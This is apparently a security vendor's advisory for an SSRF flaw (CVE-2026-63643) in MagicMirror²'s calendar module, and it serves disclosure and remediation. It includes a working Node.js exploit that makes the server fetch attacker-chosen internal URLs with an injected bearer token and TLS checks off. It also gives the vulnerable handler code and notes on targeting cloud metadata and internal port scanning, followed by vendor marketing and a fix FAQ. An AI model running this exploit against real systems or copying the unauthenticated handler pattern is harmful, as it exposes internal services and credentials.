Summary
MagicMirror: ssrf calendar .js
Vulnerability, SSRF via ADD_CALENDAR (MagicMirror² calendar)
Analysis of the PoC exploit-ssrf-calendar.js.
Target: calendar/node_helper.js of MagicMirror², socket.io namespace /calendar.
Identification
| Field | Value |
|---|---|
| PoC file | exploit-ssrf-calendar.js |
| Endpoint | socket.io namespace /calendar, notification ADD_CALENDAR |
| Precondition | reach the mirror's HTTP port (no authentication required) |
Description
The ADD_CALENDAR handler in calendar/node_helper.js performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever, unlike the project's hardened /cors endpoint.
Worse, the attacker also controls:
- the authentication headers the server attaches to the request (
auth: { method: "bearer", pass: "..." }); - the
selfSignedCertflag, which disables TLS verification of the server-side request.
When the target's response is valid iCal, the server parses the events and sends them back to the attacker via CALENDAR_EVENTS, turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).
Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
const io = new Server(server, {
cors: { origin: /.*$/, credentials: true }
});
The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.
Exploit (exploit-ssrf-calendar.js)
const { io } = require("socket.io-client");
const TARGET = process.env.MM || "http://TARGET:8888";
const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/";
const socket = io(`${TARGET}/calendar`, { path: "/socket.io", transports: ["websocket", "polling"] });
socket.onAny((event, payload) => {
if (event === "CALENDAR_EVENTS") {
console.log("\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):");
for (const ev of payload.events || []) {
console.log(" SUMMARY:", ev.title);
if (ev.title && ev.title.includes("FLAG{")) {
console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:");
console.log(" " + ev.title);
process.exit(0);
}
}
} else if (event === "CALENDAR_ERROR") {
console.log("[-] CALENDAR_ERROR:", JSON.stringify(payload));
}
});
socket.on("connect", () => {
console.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);
console.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);
socket.emit("ADD_CALENDAR", {
url: INTERNAL_URL,
fetchInterval: 60000,
excludedEvents: [],
maximumEntries: 10,
maximumNumberOfDays: 3650,
auth: { method: "bearer", pass: "internal-admin-token" },
broadcastPastEvents: true,
selfSignedCert: true,
id: "pwn"
});
});
socket.on("connect_error", (e) => console.log("[-] connect_error:", e.message));
setTimeout(() => { console.log("\n[*] timeout, exiting"); process.exit(1); }, 20000);
Vulnerable target code (pattern)
socketNotificationReceived(notification, payload) {
if (notification === "ADD_CALENDAR") {
const fetcher = new CalendarFetcher(
payload.url,
payload.fetchInterval,
payload.excludedEvents,
payload.maximumEntries,
payload.maximumNumberOfDays,
payload.auth,
payload.broadcastPastEvents,
payload.selfSignedCert
);
fetcher.fetchCalendar();
}
}
Impact
- Reading internal services unreachable from the attacker's network (cloud metadata
169.254.169.254, admin panels on127.0.0.1, services on the private network). - Body exfiltration when the response is iCal (the PoC searches for
FLAG{...}in event titles). - Confused deputy / credential injection: the server attaches an attacker-controlled
Authorization: Bearer ...header, allowing it to forge/replay credentials against the internal target. - TLS bypass via
selfSignedCert: true. - Internal port scanning through error/timing differences.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-63643? CVE-2026-63643 is a medium-severity server-side request forgery (SSRF) vulnerability in magicmirror (npm), affecting versions < 2.37.0. It is fixed in 2.37.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- Which versions of magicmirror are affected by CVE-2026-63643? magicmirror (npm) versions < 2.37.0 is affected.
- Is there a fix for CVE-2026-63643? Yes. CVE-2026-63643 is fixed in 2.37.0. Upgrade to this version or later.
- Is CVE-2026-63643 exploitable, and should I be worried? Whether CVE-2026-63643 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-63643 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-63643? Upgrade
magicmirrorto 2.37.0 or later.